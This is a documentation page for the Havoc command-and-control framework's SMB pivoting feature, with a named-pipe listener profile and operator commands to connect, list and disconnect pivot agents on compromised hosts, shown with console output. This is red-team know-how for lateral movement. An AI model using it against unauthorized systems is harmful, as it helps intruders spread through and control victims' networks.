Havoc

Documentation

Pivoting

You can create an SMB listener via the profile:

Listeners {
    Smb {
        Name     = "smb"
        PipeName = "demon_pipe"
    }
}

You can set the name of the pipe to whatever you like.

Once you create a pivot agent and run it on some machine (in this case, 10.10.10.15), you can connect to it by running pivot connect <ip> <pipe name>:

20/08/2023 10:38:13 [operator] Demon » pivot connect 10.10.10.15 demon_pipe
[*] [4C05B812] Tasked demon to connect to a smb pivot: \\10.10.10.15\pipe\demon_pipe
[+] [SMB] Connected to pivot agent [3c065850]---[600c56c8]

To list all existing pivot connections on an agent, run pivot list

20/08/2023 10:42:44 [operator] Demon » pivot list 
[*] [2B487CED] Tasked demon to list connected agent pivots
[*] Pivot List [1]: 

 DemonID    Named Pipe
 --------   -----------
 600c56c8    \\10.10.10.15\pipe\demon_pipe

To disconnect an SMB agent, run pivot disconnect <agent id>

20/08/2023 10:44:13 [operator] Demon » pivot disconnect 600c56c8
[*] [321FC5A7] Tasked demon to disconnect a smb pivot: 600c56c8
[*] [SMB] Agent disconnected 600c56c8

Disconnecting from an SMB agent will not kill the process, it will simply wait for someone to reconnect.

Remember to consult the help command when in doubt:

20/08/2023 10:48:58 [operator] Demon » help pivot

 - Command       :  pivot
 - Description   :  pivoting module
 - Behavior      :  API Only
 - Usage         :  pivot [sub command]
 - Example       :  pivot connect SPIDERS-PC agent_6d6e

  Command                        Description      
  ---------                      -------------     
  list                           list connected agent pivots
  connect                        connect to a pivoting agent
  disconnect                     disconnect from a pivoting agent

On this page

  • Pivoting